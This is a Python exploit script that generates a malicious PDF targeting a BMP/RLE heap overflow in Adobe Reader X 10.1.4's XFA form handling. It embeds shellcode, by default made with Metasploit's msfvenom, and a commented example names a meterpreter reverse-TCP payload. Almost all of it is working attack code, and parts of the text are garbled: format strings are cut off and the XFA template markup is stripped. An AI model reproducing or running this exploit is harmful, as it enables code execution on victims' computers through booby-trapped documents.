''' Title: Adobe Reader X BMP/RLE heap corruption Product: Adobe Reader X Version: 10.x Product Homepage: adobe.com Binary affected: AcroForm.api Binary Version: 10.1.4.38 Binary MD5: 8e0fc0c6f206b84e265cc3076c4b9841 Configuration Requirements ----------------------------------------- Default configuration. Vulnerability Requirements ----------------------------------------- None. Vulnerability Description ----------------------------------------- Adobe Reader X fails to validate the input when parsing an embedded BMP RLE encoded image. Arbitrary code execution in the context of the sandboxed process is proved possible after a malicious embeded bmp image triggers a heap overflow. Vulnerability WorkAround (if possible) ----------------------------------------- Delete AcroForm.api ''' from minipdf import * from hashlib import md5 import sys, struct SLIDESIZE=0x12C def mkBMP(payload, exception=True): bmp = '' #getInfoHeader bfType = 0x4d42 assert bfType in [0x4d42,0x4349,0x5043,0x4943,0x5043] #0x4142: not supp bmp += struct.pack('0xff: raise "BUG!!!!" biClrImportant = 0 bmp += struct.pack('= 3 bmp += '\x00\x02'+chr(0x100-len(payload))+'\x00' bmp += '\x00'+chr(len(payload))+payload if len(payload)&1 : bmp += 'P' if exception: bmp += '\x00\x02\x00\xff'*10 #getting the pointer outside the texture so it triggers an exception bmp += '\x00'+chr(10)+'X'*10 else: bmp += '\x00\x01' #'\x04X'*(biWidth+2000)+"\x00\x02" return bmp def UEncode(s): r = '' s += '\x00'*(len(s)%2) for i in range(0,len(s),2): r+= '\\u%04x'%(struct.unpack(' pdf 1.7 5 * January February March April May June July August September October November December Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec Sunday Monday Tuesday Wednesday Thursday Friday Saturday Sun Mon Tue Wed Thu Fri Sat AM PM BC AD EEEE, MMMM D, YYYY MMMM D, YYYY MMM D, YYYY M/D/YY h:MM:SS A Z h:MM:SS A Z h:MM:SS A h:MM A GyMdkHmsSEDFwWahKzZ z,zz9.zzz $z,zz9.99|($z,zz9.99) z,zz9% . , % - 0 $ USD . 2012-11-23T13:41:54Z Adobe LiveCycle Designer ES 10.0 2012-11-23T05:26:02-08:00 2012-11-23T05:15:47-08:00 Adobe LiveCycle Designer ES 10.0 uuid:0aa46f9b-2c50-42d4-ab0b-1a1015321da7 uuid:86c66599-7238-4e9f-8fad-fe2cd922afb2 application/pdf ''' assert len(shellcode) <= 0xF00, 'You need a smaller shellcode, sorry' #shellcode xdp = xdp.replace('%%SHELLCODE%%', UEncode(shellcode)) xdp = xdp.replace('%%SLIDESIZE%%', '0x%x'%SLIDESIZE); xdp = xdp.replace('%%MINICHUNKX%%', UEncode('O'*SLIDESIZE)) xdp = xdp.replace('%%BMPFREELFH%%', mkBMP('\x01\x00\x00\x00\x00\x00'+ chr(0x27)+'\x05', True).encode('base64') ) #xdp = xdp.replace('%%BMPFREELFH%%', file('/usr/share/pixmaps/nobody.png', 'rb').read().encode('base64')) file('%s.log'%(sys.argv[0].split('.')[0]),'wb').write(xdp) #The document doc = PDFDoc() #font font = PDFDict() font['Name'] = PDFName('F1') font['Subtype'] = PDFName('Type1') font['BaseFont'] = PDFName('Helvetica') #name:font map fontname = PDFDict() fontname['F1'] = font #resources resources = PDFDict() resources['Font'] = fontname #contents contents= PDFStream('''BT /F1 24 Tf 100 100 Td (Pedefe Pedefeito Pedefeon!) Tj ET''') #page page = PDFDict() page['Type'] = PDFName('Page') page['Resources'] = resources page['Contents'] = PDFRef(contents) #pages pages = PDFDict() pages['Type'] = PDFName('Pages') pages['Kids'] = PDFArray([PDFRef(page)]) pages['Count'] = PDFNum(1) #add parent reference in page page['Parent'] = PDFRef(pages) if True: xfa = PDFStream(xdp) xfa.appendFilter(FlateDecode()) xfa.appendFilter(FlateDecode()) doc+=xfa #form form = PDFDict() form['XFA'] = PDFRef(xfa) doc+=form elif True: form = PDFDict() array = PDFArray([]) cache = {} S = len(xdp) count = 0 for i in range(0,len(xdp)+1,S): c = xdp[i:i+S] xfa = PDFStream(c) #xfa.appendFilter(FlateDecode()) if c in cache.keys(): ref = cache[c] else: doc+=xfa ref = PDFRef(xfa) cache[c] = ref array.append(PDFName(1)) array.append(ref) count+=1 doc+=array form['XFA'] = PDFRef(array) doc+=form else: form = PDFDict() form['XFA'] = PDFArray([]) cache = {} while len(xdp) > 0 : c = xdp[i:i+S] xfa = PDFStream(c) #xfa.appendFilter(FlateDecode()) if c in cache.keys(): ref = cache[c] else: doc+=xfa ref = PDFRef(xfa) form['XFA'].append(PDFName(str(i))) form['XFA'].append(ref) doc+=form #catalog catalog = PDFDict() catalog['Type'] = PDFName('Catalog') catalog['Pages'] = PDFRef(pages) catalog['NeedsRendering'] = PDFBool(True) catalog['AcroForm'] = PDFRef(form) adbe = PDFDict() adbe['BaseVersion'] = PDFName('1.7') adbe['ExtensionLevel'] = PDFNum(3) extensions = PDFDict() extensions['ADBE'] = adbe catalog['Extensions'] = extensions for i in [catalog,pages,page,contents]: doc.append(i) doc.setRoot(catalog) #render it return doc.__str__() if __name__ == '__main__': import optparse,os from subprocess import Popen, PIPE parser = optparse.OptionParser(description='Adobe Reader X 10.1.4 XFA BMP RLE Exploit') parser.add_option('--debug', action='store_true', default=False, help='For debugging') parser.add_option('--msfpayload', metavar='MSFPAYLOAD', default='windows/messagebox ', help='Metasploit payload. Ex. "win32_exec CMD=calc"') parser.add_option('--payload', metavar='PAYLOAD', default=None) parser.add_option('--doc', action='store_true', default=False, help='Print detailed documentation') (options, args) = parser.parse_args() if options.doc: print __doc__ os.exit(-1) if options.debug: print mkXFAPDF(), os.exit(-1) if options.payload == None: #'windows/meterpreter/reverse_tcp LHOST=192.168.56.1 EXITFUNC=process R' msfpayload = Popen('msfvenom -f raw -p %s '%options.msfpayload, shell=True, stdout=PIPE) shellcode = msfpayload.communicate()[0] else: shellcode = file(options.payload, 'rb').read() #options.hexpayload.decode('hex') print mkXFAPDF(shellcode),